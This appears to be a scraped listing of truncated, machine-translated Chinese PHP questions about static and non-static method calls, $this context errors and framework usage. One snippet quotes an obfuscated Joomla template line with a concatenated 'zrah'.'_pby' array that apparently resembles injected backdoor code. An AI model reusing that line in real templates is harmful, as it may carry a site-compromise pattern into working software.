我最近读到了关于在PHP中调用作用域和作用域解析运算符(::)的内容。有两种变体:实例调用和静态调用。考虑下面的listeng:
<?php
class A {
public function __call($method, $parameters) {
echo "I'm the __call() magic method".PHP_EOL;
}
public static function __callStatic($method, $parameters) {
echo "I'm t
<?php
class baseModel
{
public static function show($className=__CLASS__)
{
print_r($className);
}
public function test()
{
static::show();
}
}
class AModel extends baseModel
{
public static function show($className=__CLASS__)
{
print_r(
我是OOP的新手,但不是PHP的新手。我正在尝试从另一个类中初始化一个类。
index.php
<?
error_reporting(E_ALL);
require("classes/memcache.php");
require("classes/video_test.php");
$videos = new video;
?>
video_test.php
<?php
class video {
private $mcache;
public function __construc
我正在使用下面的代码,突然它开始抛出一个错误,比如致命错误:当不在/foldername/ index.php的对象上下文中时,在第3行使用$this。
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD X
我有点问题。我刚刚将专用服务器更新为PHP5.4.17,似乎遇到了一些严格的标准问题。我无法隐藏错误,因为我们的服务器和脚本处理错误的方式是独特的,而仅仅将“公共函数”更改为“公共静态函数”似乎根本不起任何作用。下面是导致错误的代码片段。任何帮助都是非常感谢的。
错误信息
Strict Standards: Non-static method KRecord::new_record() should not be called statically, assuming $this from incompatible context in ../actions_controller.php on
我有一个PHP脚本,它在PHP 5中运行良好,但在PHP 4中不能正常工作。我做了一个小测试案例供您演示(免责声明:我知道下面的代码可以写得更好,但它并不是实际使用的代码,而是用来演示我所说的内容的代码):
class Messenger {
var $messages = '';
function add($message) {
$this->messages .= "$message\n";
}
}
function add($m) {
if (! isset($GLOBALS['instan
我有这样的观景课:
class View {
public function __construct() {
}
public static function render($name) {
require 'views/user/header.php';
require 'views/user/'.$name.'.php';
require 'views/user/footer.php';
}
}
我在控制器中调用视图类,如下所示:
class Co
在控制器中调用模型时出错。
我的app/Models/AdminModel.php中的代码:
<?php
namespace App\models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Foundation\Auth\User as Authenticatable;
class AdminModel extends Authenticatable
{
protected $table='admin';
protected $primaryKey='admin_id';
正如我在上一个问题中提到的,我是Laravel的初学者,因此我需要一些帮助,我必须创建helper类来为一些表创建随机Id,我使用表构造函数创建这个类来接收不同的表: <?php
namespace App\Helpers;
use Illuminate\Support\Facades\DB;
class RandomId
{
public function __construct($my_table)
{
$this->my_table=$my_table;
}
public function get_id()
{
我不理解在PHP中调用父方法的概念。父方法不是静态的,但是它是静态的-通常PHP会抛出一个错误/警告。
的问题是,这是PHP的一个怪癖,还是在OOP中应该是这样?。
以php.net的例子为例:
<?php
class A {
function example() {
echo "I am A::example() and provide basic functionality.<br />\n";
}
}
class B extends A {
function example() {
echo
如何在静态类/函数中访问父类中的vars?
(在oop和php方面仍然是个菜鸟;-)
小例子
class database{
public $dbTable = 'mysqltable';
}
class install extends database{
public static function getTable(){
$this->dbTable;// not working
self::dbTable;// not working
}
}
我当时正在开发一个PHP web应用程序。我使用了来自gurrido.net的一个新数据集,它在本地运行良好,但是当我将它上传到服务器时,我得到以下错误:
致命错误:无法使非静态方法Base::getClassName()在/var/www/reskb/phpinc/Singletons.class.php中的类中静态
在我不使用网格的旧版本中,我让它正常工作。下面是我的singletons.class.php文件代码:
<?
class Singletons extends Base {
var $objects = array();
function getC
我是通过阅读本教程来学习的:,这是代码:
<?php
require_once 'Zend/Loader.php';
class Bootstrap extends Zend_Application_Bootstrap_Bootstrap
{
public static $root = '';
public static $frontController = null;
public static function run(){
self::setupEnvironment();
self::p
我已经建立了一个抽象的父类,以及一个扩展它的具体类。为什么父类不能调用抽象函数?
//foo.php
<?php
abstract class AbstractFoo{
abstract public static function foo();
public static function getFoo(){
return self::foo();//line 5
}
}
class ConcreteFoo extends AbstractFoo{
public stati
说我有以下几点:
<?php
abstract class MyParent
{
public static $table_name;
public static get_all(){
return query("SELECT * FROM {$this->table_name}");
}
public static get_all2(){
return query("SELECT * FROM ".self::table_name);
}
}
class Child ex
总之..。问题是..。“说什么?”扩大..。“我不明白这个错误”
严格标准:非静态方法Pyro\Template::preLoad()不应静态调用,假设来自第14行/opt/lampp/htdocs/dc/pyro/app/controllers/admin/courses.php中不兼容上下文的$this
public function actionIndex() {
$this->data->users = $this->DB->query("SELECT id, name, description FROM :@courses")->
我是一个初学者,试图制作一个网页,从数据库中检索预定的时间表。在一个php文件中,我有一个类,它有一个使用SELECT语句创建查询的函数,下面是这个函数
public function getDTodayScheduleDB(){
$session=Modulator::getSession();
$session->start();
$currentdrID=$_SESSION['userID'];
$todayDate = date("Y/m/d"
我有一个我正在研究的系统:
abstract class Model {
static $table = "";
abstract static function init();
public static function getById() {
$table = self::$table;
}
}
class Model_user extends Model {
static function init() {
self::$table = "users";
}
}
cla
我在Yii框架中有一个问题,我想在属于siteController的layout/main.php页面中调用一个控制器的操作,我这样做了:
$a = UsersController::actionRequestAlert($s);
然后我得到了一个错误:
Non-static method UsersController::actionRequestAlert() should not be called statically, assuming $this from incompatible context
那么我该如何解决这个问题呢?
好的,现在我想创建一个小部件,下面是我所做的步骤:
我想知道如何将self::和$this组合在一个“静态”类中?
<?php
class Test
{
static private $inIndex = 0;
static public function getIndexPlusOne()
{
// Can I use $this-> here?
$this->raiseIndexWithOne();
return self::inIndex
}
private function raiseIndexWithOne()
{
我有下面这段代码,它不能工作:
<?php
class test{
public static $var = 'foo';
public static function printvar(){
echo "Var value is {self::$var}";
}
}
test::printvar();
?>
但是,这是可行的:
<?php
class test{
public static $var = 'foo';
public static function prin
模型Category.php
public function products() {
return $this->belongsToMany('App\Models\Product', 'category_product', 'category_id', 'product_id')->withTimestamps();
}
模型Product.php
public function categories() {
return $this->belongsToMany('App\Model